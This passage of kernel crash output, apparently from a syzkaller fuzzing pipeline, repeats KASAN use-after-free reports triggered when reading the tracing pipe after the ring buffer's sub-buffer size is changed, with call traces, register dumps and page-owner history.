[ 152.440679][ T5916] dump_stack_lvl+0xe8/0x150
[ 152.440716][ T5916] print_address_description+0x55/0x1e0
[ 152.440735][ T5916] ? string+0x216/0x2d0
[ 152.440769][ T5916] print_report+0x58/0x70
[ 152.440785][ T5916] kasan_report+0x117/0x150
[ 152.440811][ T5916] ? string+0x216/0x2d0
[ 152.440842][ T5916] string+0x216/0x2d0
[ 152.440869][ T5916] vsnprintf+0x74a/0xef0
[ 152.440909][ T5916] seq_buf_vprintf+0xf0/0x1c0
[ 152.440935][ T5916] trace_seq_vprintf+0xd7/0x220
[ 152.440966][ T5916] trace_event_printf+0x110/0x170
[ 152.440987][ T5916] ? add_taint+0x9a/0xe0
[ 152.441010][ T5916] ? __pfx_trace_event_printf+0x10/0x10
[ 152.441035][ T5916] ? trace_raw_output_lock+0xc9/0xd0
[ 152.441064][ T5916] trace_raw_output_lock+0x99/0xd0
[ 152.441083][ T5916] tracing_read_pipe+0x568/0xb50
[ 152.441113][ T5916] ? __pfx_tracing_read_pipe+0x10/0x10
[ 152.441127][ T5916] vfs_read+0x213/0xa80
[ 152.441153][ T5916] ? __pfx___mutex_lock+0x10/0x10
[ 152.441170][ T5916] ? __pfx_vfs_read+0x10/0x10
[ 152.441188][ T5916] ? __fget_files+0x2a/0x420
[ 152.441253][ T5916] ? __fget_files+0x3a2/0x420
[ 152.441280][ T5916] ? __fget_files+0x2a/0x420
[ 152.441312][ T5916] ksys_read+0x150/0x270
[ 152.441333][ T5916] ? __pfx_ksys_read+0x10/0x10
[ 152.441348][ T5916] ? trace_syscall_enter+0x5b/0x100
[ 152.441363][ T5916] ? trace_syscall_enter+0x5b/0x100
[ 152.441378][ T5916] ? rcu_is_watching+0x15/0xb0
[ 152.441394][ T5916] ? trace_syscall_enter+0x5b/0x100
[ 152.441410][ T5916] ? entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 152.441426][ T5916] do_syscall_64+0x174/0x580
[ 152.441440][ T5916] ? entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 152.441453][ T5916] ? clear_bhb_loop+0x40/0x90
[ 152.441473][ T5916] entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 152.441487][ T5916] RIP: 0033:0x7fadcfb36d9e
[ 152.441503][ T5916] Code: 08 0f 85 f5 e2 ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 90 41 57 41 56 4d 89 c6 41 55 4d 89 cd 41 54 55 53 48 83 ec 08
[ 152.441514][ T5916] RSP: 002b:00007fadcfae0198 EFLAGS: 00000246 ORIG_RAX: 0000000000000000
[ 152.441530][ T5916] RAX: ffffffffffffffda RBX: 00007fadcfae16c0 RCX: 00007fadcfb36d9e
[ 152.441540][ T5916] RDX: 0000000000001000 RSI: 00007fadcfae0200 RDI: 0000000000000003
[ 152.441549][ T5916] RBP: 00007fadcfae0200 R08: 0000000000000000 R09: 0000000000000000
[ 152.441556][ T5916] R10: 0000000000000000 R11: 0000000000000246 R12: ffffffffffffffd0
[ 152.441564][ T5916] R13: 0000000000000000 R14: 00007ffd4e5b1df0 R15: 00007ffd4e5b1ed8
[ 152.441601][ T5916] </TASK>
[ 152.441606][ T5916]
[ 152.611998][ T5916] The buggy address belongs to the physical page:
[ 152.615849][ T5916] page: refcount:0 mapcount:0 mapping:0000000000000000 index:0xffff888119b6e000 pfn:0x119b6e
[ 152.620046][ T5916] flags: 0x17ff00000000000(node=0|zone=2|lastcpupid=0x7ff)
[ 152.624691][ T5916] raw: 017ff00000000000 ffffea00042b8f48 ffffea000466c608 0000000000000000
[ 152.630823][ T5916] raw: ffff888119b6e000 0000000000000000 00000000ffffffff 0000000000000000
[ 152.636265][ T5916] page dumped because: kasan: bad access detected
[ 152.638672][ T5916] page_owner tracks the page as freed
[ 152.641950][ T5916] page last allocated via order 0, migratetype Unmovable, gfp_mask 0x44dc0(GFP_KERNEL|__GFP_ZERO|__GFP_RETRY_MAYFAIL|__GFP_COMP), pid 5912, tgid 5912 (syz-executor390), ts 116313597429, free_ts 147804824956
[ 152.655068][ T5916] post_alloc_hook+0x1f9/0x250
[ 152.658055][ T5916] get_page_from_freelist+0x21fa/0x2270
[ 152.661572][ T5916] __alloc_frozen_pages_noprof+0x18d/0x380
[ 152.665316][ T5916] __alloc_pages_noprof+0x10/0x100
[ 152.667287][ T5916] __rb_allocate_pages+0x9f7/0x1330
[ 152.669613][ T5916] ring_buffer_resize+0x4e8/0x15e0
[ 152.673174][ T5916] __tracing_resize_ring_buffer+0x9c/0x310
[ 152.677168][ T5916] tracing_update_buffers+0x7b/0xb0
[ 152.680502][ T5916] system_enable_write+0x17e/0x350
[ 152.683727][ T5916] vfs_write+0x296/0xba0
[ 152.686098][ T5916] ksys_write+0x150/0x270
[ 152.687750][ T5916] do_syscall_64+0x174/0x580
[ 152.691052][ T5916] entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 152.694850][ T5916] page last free pid 5917 tgid 5912 stack trace:
[ 152.699096][ T5916] __free_frozen_pages+0xbdb/0xcb0
[ 152.702516][ T5916] ring_buffer_subbuf_order_set+0xeaa/0x14b0
[ 152.705209][ T5916] buffer_subbuf_size_write+0x1b3/0x250
[ 152.708810][ T5916] vfs_write+0x296/0xba0
[ 152.711504][ T5916] ksys_write+0x150/0x270
[ 152.713251][ T5916] do_syscall_64+0x174/0x580
[ 152.716382][ T5916] entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 152.720387][ T5916]
[ 152.721988][ T5916] Memory state around the buggy address:
[ 152.725584][ T5916] ffff888119b6eb00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
[ 152.728732][ T5916] ffff888119b6eb80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
[ 152.732573][ T5916] >ffff888119b6ec00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
[ 152.737404][ T5916] ^
[ 152.740026][ T5916] ffff888119b6ec80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
[ 152.745029][ T5916] ffff888119b6ed00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
[ 152.748173][ T5916] ==================================================================
[ 152.758523][ T5916] ==================================================================
[ 152.763341][ T5916] BUG: KASAN: use-after-free in string+0x216/0x2d0
[ 152.767035][ T5916] Read of size 1 at addr ffff888119b6ec3f by task syz-executor390/5916
[ 152.771840][ T5916]
[ 152.773213][ T5916] CPU: 1 UID: 0 PID: 5916 Comm: syz-executor390 Tainted: G B syzkaller #1 PREEMPT(full)
[ 152.773231][ T5916] Tainted: [B]=BAD_PAGE
[ 152.773236][ T5916] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[ 152.773244][ T5916] Call Trace:
[ 152.773251][ T5916] <TASK>
[ 152.773257][ T5916] dump_stack_lvl+0xe8/0x150
[ 152.773282][ T5916] print_address_description+0x55/0x1e0
[ 152.773301][ T5916] ? string+0x216/0x2d0
[ 152.773317][ T5916] print_report+0x58/0x70
[ 152.773331][ T5916] kasan_report+0x117/0x150
[ 152.773355][ T5916] ? string+0x216/0x2d0
[ 152.773386][ T5916] string+0x216/0x2d0
[ 152.773412][ T5916] vsnprintf+0x74a/0xef0
[ 152.773448][ T5916] seq_buf_vprintf+0xf0/0x1c0
[ 152.773472][ T5916] trace_seq_vprintf+0xd7/0x220
[ 152.773499][ T5916] trace_event_printf+0x110/0x170
[ 152.773519][ T5916] ? add_taint+0x9a/0xe0
[ 152.773541][ T5916] ? __pfx_trace_event_printf+0x10/0x10
[ 152.773564][ T5916] ? trace_raw_output_lock+0xc9/0xd0
[ 152.773591][ T5916] trace_raw_output_lock+0x99/0xd0
[ 152.773609][ T5916] tracing_read_pipe+0x568/0xb50
[ 152.773639][ T5916] ? __pfx_tracing_read_pipe+0x10/0x10
[ 152.773654][ T5916] vfs_read+0x213/0xa80
[ 152.773677][ T5916] ? __pfx___mutex_lock+0x10/0x10
[ 152.773693][ T5916] ? __pfx_vfs_read+0x10/0x10
[ 152.773710][ T5916] ? __fget_files+0x2a/0x420
[ 152.773735][ T5916] ? __fget_files+0x3a2/0x420
[ 152.773751][ T5916] ? __fget_files+0x2a/0x420
[ 152.773781][ T5916] ksys_read+0x150/0x270
[ 152.773800][ T5916] ? __pfx_ksys_read+0x10/0x10
[ 152.773816][ T5916] ? trace_syscall_enter+0x5b/0x100
[ 152.773829][ T5916] ? trace_syscall_enter+0x5b/0x100
[ 152.773842][ T5916] ? rcu_is_watching+0x15/0xb0
[ 152.773857][ T5916] ? trace_syscall_enter+0x5b/0x100
[ 152.773870][ T5916] ? entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 152.773884][ T5916] do_syscall_64+0x174/0x580
[ 152.773896][ T5916] ? entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 152.773910][ T5916] ? clear_bhb_loop+0x40/0x90
[ 152.773931][ T5916] entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 152.773943][ T5916] RIP: 0033:0x7fadcfb36d9e
[ 152.773959][ T5916] Code: 08 0f 85 f5 e2 ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 90 41 57 41 56 4d 89 c6 41 55 4d 89 cd 41 54 55 53 48 83 ec 08
[ 152.773969][ T5916] RSP: 002b:00007fadcfae0198 EFLAGS: 00000246 ORIG_RAX: 0000000000000000
[ 152.773984][ T5916] RAX: ffffffffffffffda RBX: 00007fadcfae16c0 RCX: 00007fadcfb36d9e
[ 152.773992][ T5916] RDX: 0000000000001000 RSI: 00007fadcfae0200 RDI: 0000000000000003
[ 152.774000][ T5916] RBP: 00007fadcfae0200 R08: 0000000000000000 R09: 0000000000000000
[ 152.774006][ T5916] R10: 0000000000000000 R11: 0000000000000246 R12: ffffffffffffffd0
[ 152.774013][ T5916] R13: 0000000000000000 R14: 00007ffd4e5b1df0 R15: 00007ffd4e5b1ed8
[ 152.774048][ T5916] </TASK>
[ 152.774054][ T5916]
[ 152.927884][ T5916] The buggy address belongs to the physical page:
[ 152.931347][ T5916] page: refcount:0 mapcount:0 mapping:0000000000000000 index:0xffff888119b6e000 pfn:0x119b6e
[ 152.937798][ T5916] flags: 0x17ff00000000000(node=0|zone=2|lastcpupid=0x7ff)
[ 152.942543][ T5916] raw: 017ff00000000000 ffffea00042b8f48 ffffea000466c608 0000000000000000
[ 152.947923][ T5916] raw: ffff888119b6e000 0000000000000000 00000000ffffffff 0000000000000000
[ 152.953555][ T5916] page dumped because: kasan: bad access detected
[ 152.956834][ T5916] page_owner tracks the page as freed
[ 152.959443][ T5916] page last allocated via order 0, migratetype Unmovable, gfp_mask 0x44dc0(GFP_KERNEL|__GFP_ZERO|__GFP_RETRY_MAYFAIL|__GFP_COMP), pid 5912, tgid 5912 (syz-executor390), ts 116313597429, free_ts 147804824956
[ 152.969545][ T5916] post_alloc_hook+0x1f9/0x250
[ 152.971641][ T5916] get_page_from_freelist+0x21fa/0x2270
[ 152.975299][ T5916] __alloc_frozen_pages_noprof+0x18d/0x380
[ 152.979015][ T5916] __alloc_pages_noprof+0x10/0x100
[ 152.982222][ T5916] __rb_allocate_pages+0x9f7/0x1330
[ 152.985416][ T5916] ring_buffer_resize+0x4e8/0x15e0
[ 152.988764][ T5916] __tracing_resize_ring_buffer+0x9c/0x310
[ 152.991028][ T5916] tracing_update_buffers+0x7b/0xb0
[ 152.993090][ T5916] system_enable_write+0x17e/0x350
[ 152.995779][ T5916] vfs_write+0x296/0xba0
[ 152.998607][ T5916] ksys_write+0x150/0x270
[ 153.001386][ T5916] do_syscall_64+0x174/0x580
[ 153.004336][ T5916] entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 153.008100][ T5916] page last free pid 5917 tgid 5912 stack trace:
[ 153.011997][ T5916] __free_frozen_pages+0xbdb/0xcb0
[ 153.014601][ T5916] ring_buffer_subbuf_order_set+0xeaa/0x14b0
[ 153.020235][ T5916] buffer_subbuf_size_write+0x1b3/0x250
[ 153.023167][ T5916] vfs_write+0x296/0xba0
[ 153.026264][ T5916] ksys_write+0x150/0x270
[ 153.027923][ T5916] do_syscall_64+0x174/0x580
[ 153.030775][ T5916] entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 153.035027][ T5916]
[ 153.036626][ T5916] Memory state around the buggy address:
[ 153.040196][ T5916] ffff888119b6eb00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
[ 153.045158][ T5916] ffff888119b6eb80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
[ 153.050360][ T5916] >ffff888119b6ec00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
[ 153.054924][ T5916] ^
[ 153.058653][ T5916] ffff888119b6ec80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
[ 153.064067][ T5916] ffff888119b6ed00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
[ 153.068525][ T5916] ==================================================================
[ 153.078692][ T5916] ==================================================================
[ 153.083903][ T5916] BUG: KASAN: use-after-free in string+0x216/0x2d0
[ 153.088062][ T5916] Read of size 1 at addr ffff888119b6ec40 by task syz-executor390/5916
[ 153.093749][ T5916]
[ 153.094693][ T5916] CPU: 1 UID: 0 PID: 5916 Comm: syz-executor390 Tainted: G B syzkaller #1 PREEMPT(full)
[ 153.094713][ T5916] Tainted: [B]=BAD_PAGE
[ 153.094717][ T5916] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[ 153.094725][ T5916] Call Trace:
[ 153.094732][ T5916] <TASK>
[ 153.094738][ T5916] dump_stack_lvl+0xe8/0x150
[ 153.094762][ T5916] print_address_description+0x55/0x1e0
[ 153.094782][ T5916] ? string+0x216/0x2d0
[ 153.094797][ T5916] print_report+0x58/0x70
[ 153.094813][ T5916] kasan_report+0x117/0x150
[ 153.094838][ T5916] ? string+0x216/0x2d0
[ 153.094866][ T5916] string+0x216/0x2d0
[ 153.094893][ T5916] vsnprintf+0x74a/0xef0
[ 153.094929][ T5916] seq_buf_vprintf+0xf0/0x1c0
[ 153.094954][ T5916] trace_seq_vprintf+0xd7/0x220
[ 153.094983][ T5916] trace_event_printf+0x110/0x170
[ 153.095003][ T5916] ? add_taint+0x9a/0xe0
[ 153.095023][ T5916] ? __pfx_trace_event_printf+0x10/0x10
[ 153.095046][ T5916] ? trace_raw_output_lock+0xc9/0xd0
[ 153.095073][ T5916] trace_raw_output_lock+0x99/0xd0
[ 153.095090][ T5916] tracing_read_pipe+0x568/0xb50
[ 153.095159][ T5916] ? __pfx_tracing_read_pipe+0x10/0x10
[ 153.095172][ T5916] vfs_read+0x213/0xa80
[ 153.095196][ T5916] ? __pfx___mutex_lock+0x10/0x10
[ 153.095211][ T5916] ? __pfx_vfs_read+0x10/0x10
[ 153.095227][ T5916] ? __fget_files+0x2a/0x420
[ 153.095251][ T5916] ? __fget_files+0x3a2/0x420
[ 153.095276][ T5916] ? __fget_files+0x2a/0x420
[ 153.095305][ T5916] ksys_read+0x150/0x270
[ 153.095323][ T5916] ? __pfx_ksys_read+0x10/0x10
[ 153.095339][ T5916] ? trace_syscall_enter+0x5b/0x100
[ 153.095353][ T5916] ? trace_syscall_enter+0x5b/0x100
[ 153.095366][ T5916] ? rcu_is_watching+0x15/0xb0
[ 153.095380][ T5916] ? trace_syscall_enter+0x5b/0x100
[ 153.095394][ T5916] ? entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 153.095411][ T5916] do_syscall_64+0x174/0x580
[ 153.095425][ T5916] ? entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 153.095438][ T5916] ? clear_bhb_loop+0x40/0x90
[ 153.095457][ T5916] entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 153.095469][ T5916] RIP: 0033:0x7fadcfb36d9e
[ 153.095486][ T5916] Code: 08 0f 85 f5 e2 ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 90 41 57 41 56 4d 89 c6 41 55 4d 89 cd 41 54 55 53 48 83 ec 08
[ 153.095496][ T5916] RSP: 002b:00007fadcfae0198 EFLAGS: 00000246 ORIG_RAX: 0000000000000000
[ 153.095510][ T5916] RAX: ffffffffffffffda RBX: 00007fadcfae16c0 RCX: 00007fadcfb36d9e
[ 153.095518][ T5916] RDX: 0000000000001000 RSI: 00007fadcfae0200 RDI: 0000000000000003
[ 153.095526][ T5916] RBP: 00007fadcfae0200 R08: 0000000000000000 R09: 0000000000000000
[ 153.095533][ T5916] R10: 0000000000000000 R11: 0000000000000246 R12: ffffffffffffffd0
[ 153.095541][ T5916] R13: 0000000000000000 R14: 00007ffd4e5b1df0 R15: 00007ffd4e5b1ed8
[ 153.095573][ T5916] </TASK>
[ 153.095579][ T5916]
[ 153.255910][ T5916] The buggy address belongs to the physical page:
[ 153.259925][ T5916] page: refcount:1 mapcount:0 mapping:0000000000000000 index:0xffff888119b6e000 pfn:0x119b6e
[ 153.266529][ T5916] flags: 0x17ff00000000000(node=0|zone=2|lastcpupid=0x7ff)
[ 153.269342][ T5916] raw: 017ff00000000000 0000000000000000 dead000000000122 0000000000000000
[ 153.274852][ T5916] raw: ffff888119b6e000 0000000000000000 00000001ffffffff 0000000000000000
[ 153.279959][ T5916] page dumped because: kasan: bad access detected
[ 153.283871][ T5916] page_owner tracks the page as allocated
[ 153.287006][ T5916] page last allocated via order 0, migratetype Unmovable, gfp_mask 0x44dc0(GFP_KERNEL|__GFP_ZERO|__GFP_RETRY_MAYFAIL|__GFP_COMP), pid 5920, tgid 5912 (syz-executor390), ts 153086917757, free_ts 147804824956
[ 153.299739][ T5916] post_alloc_hook+0x1f9/0x250
[ 153.302001][ T5916] get_page_from_freelist+0x21fa/0x2270
[ 153.305613][ T5916] __alloc_frozen_pages_noprof+0x18d/0x380
[ 153.309215][ T5916] __alloc_pages_noprof+0x10/0x100
[ 153.312460][ T5916] __rb_allocate_pages+0x9f7/0x1330
[ 153.315966][ T5916] ring_buffer_subbuf_order_set+0x45d/0x14b0
[ 153.318997][ T5916] buffer_subbuf_size_write+0x1b3/0x250
[ 153.321056][ T5916] vfs_write+0x296/0xba0
[ 153.323975][ T5916] ksys_write+0x150/0x270
[ 153.327212][ T5916] do_syscall_64+0x174/0x580
[ 153.330310][ T5916] entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 153.334237][ T5916] page last free pid 5917 tgid 5912 stack trace:
[ 153.337065][ T5916] __free_frozen_pages+0xbdb/0xcb0
[ 153.339108][ T5916] ring_buffer_subbuf_order_set+0xeaa/0x14b0
[ 153.341673][ T5916] buffer_subbuf_size_write+0x1b3/0x250
[ 153.344377][ T5916] vfs_write+0x296/0xba0
[ 153.347648][ T5916] ksys_write+0x150/0x270
[ 153.350697][ T5916] do_syscall_64+0x174/0x580
[ 153.353928][ T5916] entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 153.358103][ T5916]
[ 153.359703][ T5916] Memory state around the buggy address:
[ 153.363390][ T5916] ffff888119b6eb00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
[ 153.368718][ T5916] ffff888119b6eb80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
[ 153.371749][ T5916] >ffff888119b6ec00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
[ 153.376834][ T5916] ^
[ 153.380840][ T5916] ffff888119b6ec80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
[ 153.386122][ T5916] ffff888119b6ed00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
[ 153.391361][ T5916] ==================================================================
OtherCrashReports:<nil> StraceOutput: TestError:]
|
| 163/3 |
2026/08/12 02:44 |
action |
truncate-log |
0m
Results: map[TruncatedConsoleOutput:[ 152.687750][ T5916] do_syscall_64+0x174/0x580
[ 152.691052][ T5916] entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 152.694850][ T5916] page last free pid 5917 tgid 5912 stack trace:
[ 152.699096][ T5916] __free_frozen_pages+0xbdb/0xcb0
[ 152.702516][ T5916] ring_buffer_subbuf_order_set+0xeaa/0x14b0
[ 152.705209][ T5916] buffer_subbuf_size_write+0x1b3/0x250
[ 152.708810][ T5916] vfs_write+0x296/0xba0
[ 152.711504][ T5916] ksys_write+0x150/0x270
[ 152.713251][ T5916] do_syscall_64+0x174/0x580
[ 152.716382][ T5916] entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 152.720387][ T5916]
[ 152.721988][ T5916] Memory state around the buggy address:
[ 152.725584][ T5916] ffff888119b6eb00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
[ 152.728732][ T5916] ffff888119b6eb80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
[ 152.732573][ T5916] >ffff888119b6ec00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
[ 152.737404][ T5916] ^
[ 152.740026][ T5916] ffff888119b6ec80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
[ 152.745029][ T5916] ffff888119b6ed00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
[ 152.748173][ T5916] ==================================================================
[ 152.758523][ T5916] ==================================================================
[ 152.763341][ T5916] BUG: KASAN: use-after-free in string+0x216/0x2d0
[ 152.767035][ T5916] Read of size 1 at addr ffff888119b6ec3f by task syz-executor390/5916
[ 152.771840][ T5916]
[ 152.773213][ T5916] CPU: 1 UID: 0 PID: 5916 Comm: syz-executor390 Tainted: G B syzkaller #1 PREEMPT(full)
[ 152.773231][ T5916] Tainted: [B]=BAD_PAGE
[ 152.773236][ T5916] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[ 152.773244][ T5916] Call Trace:
[ 152.773251][ T5916] <TASK>
[ 152.773257][ T5916] dump_stack_lvl+0xe8/0x150
[ 152.773282][ T5916] print_address_description+0x55/0x1e0
[ 152.773301][ T5916] ? string+0x216/0x2d0
[ 152.773317][ T5916] print_report+0x58/0x70
[ 152.773331][ T5916] kasan_report+0x117/0x150
[ 152.773355][ T5916] ? string+0x216/0x2d0
[ 152.773386][ T5916] string+0x216/0x2d0
[ 152.773412][ T5916] vsnprintf+0x74a/0xef0
[ 152.773448][ T5916] seq_buf_vprintf+0xf0/0x1c0
[ 152.773472][ T5916] trace_seq_vprintf+0xd7/0x220
[ 152.773499][ T5916] trace_event_printf+0x110/0x170
[ 152.773519][ T5916] ? add_taint+0x9a/0xe0
[ 152.773541][ T5916] ? __pfx_trace_event_printf+0x10/0x10
[ 152.773564][ T5916] ? trace_raw_output_lock+0xc9/0xd0
[ 152.773591][ T5916] trace_raw_output_lock+0x99/0xd0
[ 152.773609][ T5916] tracing_read_pipe+0x568/0xb50
[ 152.773639][ T5916] ? __pfx_tracing_read_pipe+0x10/0x10
[ 152.773654][ T5916] vfs_read+0x213/0xa80
[ 152.773677][ T5916] ? __pfx___mutex_lock+0x10/0x10
[ 152.773693][ T5916] ? __pfx_vfs_read+0x10/0x10
[ 152.773710][ T5916] ? __fget_files+0x2a/0x420
[ 152.773735][ T5916] ? __fget_files+0x3a2/0x420
[ 152.773751][ T5916] ? __fget_files+0x2a/0x420
[ 152.773781][ T5916] ksys_read+0x150/0x270
[ 152.773800][ T5916] ? __pfx_ksys_read+0x10/0x10
[ 152.773816][ T5916] ? trace_syscall_enter+0x5b/0x100
[ 152.773829][ T5916] ? trace_syscall_enter+0x5b/0x100
[ 152.773842][ T5916] ? rcu_is_watching+0x15/0xb0
[ 152.773857][ T5916] ? trace_syscall_enter+0x5b/0x100
[ 152.773870][ T5916] ? entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 152.773884][ T5916] do_syscall_64+0x174/0x580
[ 152.773896][ T5916] ? entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 152.773910][ T5916] ? clear_bhb_loop+0x40/0x90
[ 152.773931][ T5916] entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 152.773943][ T5916] RIP: 0033:0x7fadcfb36d9e
[ 152.773959][ T5916] Code: 08 0f 85 f5 e2 ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 90 41 57 41 56 4d 89 c6 41 55 4d 89 cd 41 54 55 53 48 83 ec 08
[ 152.773969][ T5916] RSP: 002b:00007fadcfae0198 EFLAGS: 00000246 ORIG_RAX: 0000000000000000
[ 152.773984][ T5916] RAX: ffffffffffffffda RBX: 00007fadcfae16c0 RCX: 00007fadcfb36d9e
[ 152.773992][ T5916] RDX: 0000000000001000 RSI: 00007fadcfae0200 RDI: 0000000000000003
[ 152.774000][ T5916] RBP: 00007fadcfae0200 R08: 0000000000000000 R09: 0000000000000000
[ 152.774006][ T5916] R10: 0000000000000000 R11: 0000000000000246 R12: ffffffffffffffd0
[ 152.774013][ T5916] R13: 0000000000000000 R14: 00007ffd4e5b1df0 R15: 00007ffd4e5b1ed8
[ 152.774048][ T5916] </TASK>
[ 152.774054][ T5916]
[ 152.927884][ T5916] The buggy address belongs to the physical page:
[ 152.931347][ T5916] page: refcount:0 mapcount:0 mapping:0000000000000000 index:0xffff888119b6e000 pfn:0x119b6e
[ 152.937798][ T5916] flags: 0x17ff00000000000(node=0|zone=2|lastcpupid=0x7ff)
[ 152.942543][ T5916] raw: 017ff00000000000 ffffea00042b8f48 ffffea000466c608 0000000000000000
[ 152.947923][ T5916] raw: ffff888119b6e000 0000000000000000 00000000ffffffff 0000000000000000
[ 152.953555][ T5916] page dumped because: kasan: bad access detected
[ 152.956834][ T5916] page_owner tracks the page as freed
[ 152.959443][ T5916] page last allocated via order 0, migratetype Unmovable, gfp_mask 0x44dc0(GFP_KERNEL|__GFP_ZERO|__GFP_RETRY_MAYFAIL|__GFP_COMP), pid 5912, tgid 5912 (syz-executor390), ts 116313597429, free_ts 147804824956
[ 152.969545][ T5916] post_alloc_hook+0x1f9/0x250
[ 152.971641][ T5916] get_page_from_freelist+0x21fa/0x2270
[ 152.975299][ T5916] __alloc_frozen_pages_noprof+0x18d/0x380
[ 152.979015][ T5916] __alloc_pages_noprof+0x10/0x100
[ 152.982222][ T5916] __rb_allocate_pages+0x9f7/0x1330
[ 152.985416][ T5916] ring_buffer_resize+0x4e8/0x15e0
[ 152.988764][ T5916] __tracing_resize_ring_buffer+0x9c/0x310
[ 152.991028][ T5916] tracing_update_buffers+0x7b/0xb0
[ 152.993090][ T5916] system_enable_write+0x17e/0x350
[ 152.995779][ T5916] vfs_write+0x296/0xba0
[ 152.998607][ T5916] ksys_write+0x150/0x270
[ 153.001386][ T5916] do_syscall_64+0x174/0x580
[ 153.004336][ T5916] entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 153.008100][ T5916] page last free pid 5917 tgid 5912 stack trace:
[ 153.011997][ T5916] __free_frozen_pages+0xbdb/0xcb0
[ 153.014601][ T5916] ring_buffer_subbuf_order_set+0xeaa/0x14b0
[ 153.020235][ T5916] buffer_subbuf_size_write+0x1b3/0x250
[ 153.023167][ T5916] vfs_write+0x296/0xba0
[ 153.026264][ T5916] ksys_write+0x150/0x270
[ 153.027923][ T5916] do_syscall_64+0x174/0x580
[ 153.030775][ T5916] entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 153.035027][ T5916]
[ 153.036626][ T5916] Memory state around the buggy address:
[ 153.040196][ T5916] ffff888119b6eb00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
[ 153.045158][ T5916] ffff888119b6eb80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
[ 153.050360][ T5916] >ffff888119b6ec00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
[ 153.054924][ T5916] ^
[ 153.058653][ T5916] ffff888119b6ec80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
[ 153.064067][ T5916] ffff888119b6ed00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
[ 153.068525][ T5916] ==================================================================
[ 153.078692][ T5916] ==================================================================
[ 153.083903][ T5916] BUG: KASAN: use-after-free in string+0x216/0x2d0
[ 153.088062][ T5916] Read of size 1 at addr ffff888119b6ec40 by task syz-executor390/5916
[ 153.093749][ T5916]
[ 153.094693][ T5916] CPU: 1 UID: 0 PID: 5916 Comm: syz-executor390 Tainted: G B syzkaller #1 PREEMPT(full)
[ 153.094713][ T5916] Tainted: [B]=BAD_PAGE
[ 153.094717][ T5916] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[ 153.094725][ T5916] Call Trace:
[ 153.094732][ T5916] <TASK>
[ 153.094738][ T5916] dump_stack_lvl+0xe8/0x150
[ 153.094762][ T5916] print_address_description+0x55/0x1e0
[ 153.094782][ T5916] ? string+0x216/0x2d0
[ 153.094797][ T5916] print_report+0x58/0x70
[ 153.094813][ T5916] kasan_report+0x117/0x150
[ 153.094838][ T5916] ? string+0x216/0x2d0
[ 153.094866][ T5916] string+0x216/0x2d0
[ 153.094893][ T5916] vsnprintf+0x74a/0xef0
[ 153.094929][ T5916] seq_buf_vprintf+0xf0/0x1c0
[ 153.094954][ T5916] trace_seq_vprintf+0xd7/0x220
